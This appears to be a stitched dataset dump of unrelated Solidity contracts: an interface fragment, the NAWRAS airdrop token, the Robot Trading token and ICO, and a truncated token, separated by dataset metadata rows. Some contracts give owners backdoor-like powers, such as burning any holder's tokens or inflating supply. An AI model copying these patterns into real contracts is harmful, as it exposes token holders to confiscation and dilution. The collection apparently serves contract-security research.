/// pending fee, funding payment, owed realized PnL, unrealized PnL, respectively
/// @param trader The address of the trader
/// @return balance The balance amount (in settlement token's decimals)
function getSettlementTokenValue(address trader) external view returns (int256 balance);
/// @notice Get the settlement token address
/// @dev We assume the settlement token should match the denominator of the price oracle.
/// i.e. if the settlement token is USDC, then the oracle should be priced in USD
/// @return settlementToken The address of the settlement token
function getSettlementToken() external view returns (address settlementToken);
/// @notice Check if a given trader's collateral token can be liquidated; liquidation criteria:
/// 1. margin ratio falls below maintenance threshold + 20bps (mmRatioBuffer)
/// 2. USDC debt > nonSettlementTokenValue * debtNonSettlementTokenValueRatio (ex: 75%)
/// 3. USDC debt > debtThreshold (ex: $10000)
// USDC debt = USDC balance + Total Unrealized PnL
/// @param trader The address of the trader
/// @return isLiquidatable If the trader can be liquidated
function isLiquidatable(address trader) external view returns (bool isLiquidatable);
/// @notice get the margin requirement for collateral liquidation of a trader
/// @dev this value is compared with `ClearingHouse.getAccountValue()` (int)
/// @param trader The address of the trader
/// @return marginRequirement margin requirement (in 18 decimals)
function getMarginRequirementForCollateralLiquidation(address trader)
external
view
returns (int256 marginRequirement);
/// @notice Get the maintenance margin ratio for collateral liquidation
/// @return collateralMmRatio The maintenance margin ratio for collateral liquidation
function getCollateralMmRatio() external view returns (uint24 collateralMmRatio);
/// @notice Get a trader's liquidatable collateral amount by a given settlement amount
/// @param token The address of the token of the trader's collateral
/// @param settlementX10_S The amount of settlement token the liquidator wants to pay
/// @return collateral The collateral amount(in its native decimals) the liquidator can get
function getLiquidatableCollateralBySettlement(address token, uint256 settlementX10_S)
external
view
returns (uint256 collateral);
/// @notice Get a trader's repaid settlement amount by a given collateral amount
/// @param token The address of the token of the trader's collateral
/// @param collateral The amount of collateral token the liquidator wants to get
function getRepaidSettlementByCollateral(address token, uint256 collateral)
external
view
returns (uint256 settlementX10_S);
/// @param trader The address of the trader
/// @param token The address of the token of the trader's collateral
/// @return maxRepaidSettlementX10_S The maximum settlement amount(in settlement token's decimals)
/// the liquidator needs to pay to liquidate a trader's collateral token
/// @return maxLiquidatableCollateral The maximum liquidatable collateral amount
/// (in the collateral token's native decimals) of a trader
function getMaxRepaidSettlementAndLiquidatableCollateral(address trader, address token)
external
view
returns (uint256 maxRepaidSettlementX10_S, uint256 maxLiquidatableCollateral);
/// @notice Get settlement token decimals
/// @dev cached the settlement token's decimal for gas optimization
/// @return decimals The decimals of settlement token
function decimals() external view returns (uint8 decimals);
/// @notice Get the borrowed settlement token amount from insurance fund
/// @return debtAmount The debt amount (in settlement token's decimals)
function getTotalDebt() external view returns (uint256 debtAmount);
/// @notice Get `ClearingHouseConfig` contract address
/// @return clearingHouseConfig The address of `ClearingHouseConfig` contract
function getClearingHouseConfig() external view returns (address clearingHouseConfig);
/// @notice Get `AccountBalance` contract address
/// @return accountBalance The address of `AccountBalance` contract
function getAccountBalance() external view returns (address accountBalance);
/// @notice Get `InsuranceFund` contract address
/// @return insuranceFund The address of `InsuranceFund` contract
function getInsuranceFund() external view returns (address insuranceFund);
/// @notice Get `Exchange` contract address
/// @return exchange The address of `Exchange` contract
function getExchange() external view returns (address exchange);
/// @notice Get `ClearingHouse` contract address
/// @return clearingHouse The address of `ClearingHouse` contract
function getClearingHouse() external view returns (address clearingHouse);
/// @notice Get `CollateralManager` contract address
/// @return clearingHouse The address of `CollateralManager` contract
function getCollateralManager() external view returns (address clearingHouse);
/// @notice Get `WETH9` contract address
/// @return clearingHouse The address of `WETH9` contract
function getWETH9() external view returns (address clearingHouse);
}
contract Perp_Booster_2
{
IVault public immutable vault;
//IClearingHouse public immutable clearningHouse;
//test
constructor() {
vault = IVault(0xAD7b4C162707E0B2b5f6fdDbD3f8538A5fbA0d60);
//clearningHouse = IClearingHouse(0xaD2663386fe55e920c81D55Fc342fC50F91D86Ca);
}
function perp_deposit4(address token, uint256 amount) external {
//
vault.depositFor(address(this), token, amount);
}
}
| 152,118 | 762 |
590230e1bbedf7596f59525126ea27a09d0b0cee71c8a86e6032815dd1399a06
| 9,933 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x45f2f43668fd1d77182233d7298337626f6993dc.sol
| 3,079 | 9,632 |
pragma solidity ^0.4.25;
// ----------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract NAWRAS is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "NAWRAS";
string public constant symbol = "NAWRAS";
uint public constant decimals = 8;
uint public deadline = now + 70 * 1 days;
uint public round2 = now + 30 * 1 days;
uint public round1 = now + 60 * 1 days;
uint256 public totalSupply = 100000000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 10; // 0.1 Ether
uint256 public tokensPerEth = 5000000e8;
uint public target0drop = 200000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x0Cd682aC964C39a4A188267FE87784F31132C443;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 35000000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 0.1 ether;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
uint256 bonusCond4 = 10 ether;
uint256 bonusCond5 = 20 ether;
uint256 bonusCond6 = 35 ether;
uint256 bonusCond7 = 50 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3 && msg.value < bonusCond4){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond4 && msg.value < bonusCond5){
countbonus = tokens * 15 / 100;
}else if(msg.value >= bonusCond5 && msg.value < bonusCond6){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond6 && msg.value < bonusCond7){
countbonus = tokens * 25 / 100;
}else if(msg.value >= bonusCond7){
countbonus = tokens * 30 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3 && msg.value < bonusCond4){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond4 && msg.value < bonusCond5){
countbonus = tokens * 15 / 100;
}else if(msg.value >= bonusCond5 && msg.value < bonusCond6){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond6 && msg.value < bonusCond7){
countbonus = tokens * 25 / 100;
}else if(msg.value >= bonusCond7){
countbonus = tokens * 30 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 50000e8;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success)
{
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public
returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 202,197 | 763 |
2e11945642f72f5e183360f186caeed270671c22bce94a6aeb07fb3924543590
| 17,950 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xa52966d88586e708b128bc22e7a8b7900a7918ac.sol
| 4,341 | 16,797 |
pragma solidity ^0.4.11;
contract SafeMath {
uint constant DAY_IN_SECONDS = 86400;
uint constant BASE = 1000000000000000000;
function mul(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b != 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) constant internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) constant internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mulByFraction(uint256 number, uint256 numerator, uint256 denominator) internal returns (uint256) {
return div(mul(number, numerator), denominator);
}
// ICO date bonus calculation
function dateBonus(uint roundIco, uint endIco, uint256 amount) internal returns (uint256) {
if(endIco >= now && roundIco == 0){
return add(amount,mulByFraction(amount, 15, 100));
}else{
return amount;
}
}
}
/// Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20
/// @title Abstract token contract - Functions to be implemented by token contracts.
contract AbstractToken {
function totalSupply() constant returns (uint256) {}
function balanceOf(address owner) constant returns (uint256 balance);
function transfer(address to, uint256 value) returns (bool success);
function transferFrom(address from, address to, uint256 value) returns (bool success);
function approve(address spender, uint256 value) returns (bool success);
function allowance(address owner, address spender) constant returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Issuance(address indexed to, uint256 value);
}
contract StandardToken is AbstractToken {
mapping (address => uint256) balances;
mapping (address => bool) ownerAppended;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
address[] public owners;
/// @dev Transfers sender's tokens to a given address. Returns success.
/// @param _to Address of token receiver.
/// @param _value Number of tokens to transfer.
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(msg.sender, _to, _value);
return true;
}
else {
return false;
}
}
/// @dev Allows allowed third party to transfer tokens from one address to another. Returns success.
/// @param _from Address from where tokens are withdrawn.
/// @param _to Address to where tokens are sent.
/// @param _value Number of tokens to transfer.
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
Transfer(_from, _to, _value);
return true;
}
else {
return false;
}
}
/// @dev Returns number of tokens owned by given address.
/// @param _owner Address of token owner.
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
/// @dev Sets approved amount of tokens for spender. Returns success.
/// @param _spender Address of allowed account.
/// @param _value Number of approved tokens.
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/// @dev Returns number of allowed tokens for given address.
/// @param _owner Address of token owner.
/// @param _spender Address of token spender.
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract RobotTradingToken is StandardToken, SafeMath {
string public constant name = "Robot Trading";
string public constant symbol = "RTD";
uint public constant decimals = 18;
// tottal supply
address public icoContract = 0x0;
modifier onlyIcoContract() {
// only ICO contract is allowed to proceed
require(msg.sender == icoContract);
_;
}
/// @dev Contract is needed in icoContract address
/// @param _icoContract Address of account which will be mint tokens
function RobotTradingToken(address _icoContract) {
assert(_icoContract != 0x0);
icoContract = _icoContract;
}
/// @dev Burns tokens from address. It's can be applied by account with address this.icoContract
/// @param _from Address of account, from which will be burned tokens
/// @param _value Amount of tokens, that will be burned
function burnTokens(address _from, uint _value) onlyIcoContract {
assert(_from != 0x0);
require(_value > 0);
balances[_from] = sub(balances[_from], _value);
}
/// @dev Adds tokens to address. It's can be applied by account with address this.icoContract
/// @param _to Address of account to which the tokens will pass
/// @param _value Amount of tokens
function emitTokens(address _to, uint _value) onlyIcoContract {
assert(_to != 0x0);
require(_value > 0);
balances[_to] = add(balances[_to], _value);
if(!ownerAppended[_to]) {
ownerAppended[_to] = true;
owners.push(_to);
}
}
function getOwner(uint index) constant returns (address, uint256) {
return (owners[index], balances[owners[index]]);
}
function getOwnerCount() constant returns (uint) {
return owners.length;
}
}
contract RobotTradingIco is SafeMath {
RobotTradingToken public robottradingToken;
enum State{
Init,
Pause,
Running,
Stopped,
Migrated
}
State public currentState = State.Pause;
string public constant name = "Robot Trading ICO";
// Addresses of founders and other level
address public accManager;
address public accFounder;
address public accPartner;
address public accCompany;
address public accRecive;
// 10,000 M RDT tokens
uint public supplyLimit = 10000000000000000000000000000;
// BASE = 10^18
uint constant BASE = 1000000000000000000;
// current round ICO
uint public roundICO = 0;
struct RoundStruct {
uint round;//ICO round 0 is preICO other is normal ICO
uint price;//ICO price for this round 1 ETH = 10000 RDT
uint supply;//total supply start at 1%
uint recive;//total recive ETH
uint soldTokens;//total tokens sold
uint sendTokens;//total tokens sold
uint dateStart;//start ICO date
uint dateEnd; //end ICO date
}
RoundStruct[] public roundData;
bool public sentTokensToFounder = false;
bool public sentTokensToPartner = false;
bool public sentTokensToCompany = false;
uint public tokensToFunder = 0;
uint public tokensToPartner = 0;
uint public tokensToCompany = 0;
uint public etherRaised = 0;
modifier whenInitialized() {
// only when contract is initialized
require(currentState >= State.Init);
_;
}
modifier onlyManager() {
// only ICO manager can do this action
require(msg.sender == accManager);
_;
}
modifier onIcoRunning() {
// Checks, if ICO is running and has not been stopped
require(currentState == State.Running);
_;
}
modifier onIcoStopped() {
// Checks if ICO was stopped or deadline is reached
require(currentState == State.Stopped);
_;
}
modifier notMigrated() {
// Checks if base can be migrated
require(currentState != State.Migrated);
_;
}
/// @dev Constructor of ICO. Requires address of accManager,
/// @param _accManager Address of ICO manager
function RobotTradingIco(address _accManager) {
assert(_accManager != 0x0);
robottradingToken = new RobotTradingToken(this);
accManager = _accManager;
}
/// @dev Initialises addresses of founders, tokens owner, accRecive.
/// Initialises balances of tokens owner
/// @param _founder Address of founder
/// @param _partner Address of partner
/// @param _company Address of company
/// @param _recive Address of recive
function init(address _founder, address _partner, address _company, address _recive) onlyManager {
assert(currentState != State.Init);
assert(_founder != 0x0);
assert(_recive != 0x0);
accFounder = _founder;
accPartner = _partner;
accCompany = _company;
accRecive = _recive;
currentState = State.Init;
}
/// @dev Sets new state
/// @param _newState Value of new state
function setState(State _newState) public onlyManager
{
currentState = _newState;
if(currentState == State.Running) {
roundData[roundICO].dateStart = now;
}
}
/// @dev Sets new round ico
function setNewIco(uint _round, uint _price, uint _startDate, uint _endDate, uint _newAmount) public onlyManager whenInitialized {
require(roundData.length == _round);
RoundStruct memory roundStruct;
roundData.push(roundStruct);
roundICO = _round; // round 1 input 1
roundData[_round].round = _round;
roundData[_round].price = _price;
roundData[_round].supply = mul(_newAmount, BASE); //input 10000 got 10000 token for this ico
roundData[_round].recive = 0;
roundData[_round].soldTokens = 0;
roundData[_round].sendTokens = 0;
roundData[_round].dateStart = _startDate;
roundData[_round].dateEnd = _endDate;
}
/// @dev Sets manager. Only manager can do it
/// @param _accManager Address of new ICO manager
function setManager(address _accManager) onlyManager {
assert(_accManager != 0x0);
accManager = _accManager;
}
/// @dev Buy quantity of tokens depending on the amount of sent ethers.
/// @param _buyer Address of account which will receive tokens
function buyTokens(address _buyer) private {
assert(_buyer != 0x0 && roundData[roundICO].dateEnd >= now && roundData[roundICO].dateStart <= now);
require(msg.value > 0);
uint tokensToEmit = mul(msg.value, roundData[roundICO].price);
if(roundICO==0){
tokensToEmit = dateBonus(roundICO, roundData[roundICO].dateEnd, tokensToEmit);
}
require(add(roundData[roundICO].soldTokens, tokensToEmit) <= roundData[roundICO].supply);
roundData[roundICO].soldTokens = add(roundData[roundICO].soldTokens, tokensToEmit);
//emit tokens to token holder
robottradingToken.emitTokens(_buyer, tokensToEmit);
etherRaised = add(etherRaised, msg.value);
}
/// @dev Fall back function ~50k-100k gas
function () payable onIcoRunning {
buyTokens(msg.sender);
}
/// @dev Burn tokens from accounts only in state "not migrated". Only manager can do it
/// @param _from Address of account
function burnTokens(address _from, uint _value) onlyManager notMigrated {
robottradingToken.burnTokens(_from, _value);
}
/// @dev Partial withdraw. Only manager can do it
function withdrawEther(uint _value) onlyManager {
require(_value > 0);
assert(_value <= this.balance);
// send 123 to get 1.23
accRecive.transfer(_value * 10000000000000000); // 10^16
}
/// @dev Ether withdraw. Only manager can do it
function withdrawAllEther() onlyManager {
if(this.balance > 0)
{
accRecive.transfer(this.balance);
}
}
///@dev Send tokens to Partner.
function sendTokensToPartner() onlyManager whenInitialized {
require(!sentTokensToPartner);
uint tokensSold = add(roundData[0].soldTokens, roundData[1].soldTokens);
uint partnerTokens = mulByFraction(supplyLimit, 11, 100); // 11%
tokensToPartner = sub(partnerTokens,tokensSold);
robottradingToken.emitTokens(accPartner, partnerTokens);
sentTokensToPartner = true;
}
/// @dev Send limit tokens to Partner. Can't be sent no more limit 11%
function sendLimitTokensToPartner(uint _value) onlyManager whenInitialized {
require(!sentTokensToPartner);
uint partnerLimit = mulByFraction(supplyLimit, 11, 100); // calc token 11%
uint partnerReward = sub(partnerLimit, tokensToPartner); // calc token <= 11%
uint partnerValue = mul(_value, BASE); // send 123 to get 123 token no decimel
require(partnerReward >= partnerValue);
tokensToPartner = add(tokensToPartner, partnerValue);
robottradingToken.emitTokens(accPartner, partnerValue);
}
/// @dev Send all tokens to founders. Can't be sent no more limit 30%
function sendTokensToCompany() onlyManager whenInitialized {
require(!sentTokensToCompany);
//Calculate founder reward depending on total tokens sold
uint companyLimit = mulByFraction(supplyLimit, 30, 100); // calc token 30%
uint companyReward = sub(companyLimit, tokensToCompany); // 30% - tokensToCompany = amount for company
require(companyReward > 0);
tokensToCompany = add(tokensToCompany, companyReward);
robottradingToken.emitTokens(accCompany, companyReward);
sentTokensToCompany = true;
}
/// @dev Send limit tokens to company. Can't be sent no more limit 30%
function sendLimitTokensToCompany(uint _value) onlyManager whenInitialized {
require(!sentTokensToCompany);
uint companyLimit = mulByFraction(supplyLimit, 30, 100); // calc token 30%
uint companyReward = sub(companyLimit, tokensToCompany); // calc token <= 30%
uint companyValue = mul(_value, BASE); // send 123 to get 123 token no decimel
require(companyReward >= companyValue);
tokensToCompany = add(tokensToCompany, companyValue);
robottradingToken.emitTokens(accCompany, companyValue);
}
/// @dev Send all tokens to founders.
function sendAllTokensToFounder(uint _round) onlyManager whenInitialized {
require(roundData[_round].soldTokens>=1);
uint icoToken = add(roundData[_round].soldTokens,roundData[_round].sendTokens);
uint icoSupply = roundData[_round].supply;
uint founderValue = sub(icoSupply, icoToken);
roundData[_round].sendTokens = add(roundData[_round].sendTokens, founderValue);
tokensToFunder = add(tokensToFunder,founderValue);
robottradingToken.emitTokens(accFounder, founderValue);
}
/// @dev Send limit tokens to founders.
function sendLimitTokensToFounder(uint _round, uint _value) onlyManager whenInitialized {
require(roundData[_round].soldTokens>=1);
uint icoToken = add(roundData[_round].soldTokens,roundData[_round].sendTokens);
uint icoSupply = roundData[_round].supply;
uint founderReward = sub(icoSupply, icoToken);
uint founderValue = mul(_value, BASE); // send 123 to get 123 token no decimel
require(founderReward >= founderValue);
roundData[_round].sendTokens = add(roundData[_round].sendTokens, founderValue);
tokensToFunder = add(tokensToFunder,founderValue);
robottradingToken.emitTokens(accFounder, founderValue);
}
/// @dev inc Supply tokens . Can't be inc no more 35%
function incSupply(uint _percent) onlyManager whenInitialized {
require(_percent<=35);
supplyLimit = add(supplyLimit,mulByFraction(supplyLimit, _percent, 100));
}
}
| 144,960 | 764 |
8188d93954fe80a16d3bc9e087b27ed652b989075d18ece53ac4fe88ca071529
| 22,205 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/ba/baf41d2468b33ff5a7c6f1c03c6285a173925cb2_king.sol
| 2,857 | 10,941 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract king is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
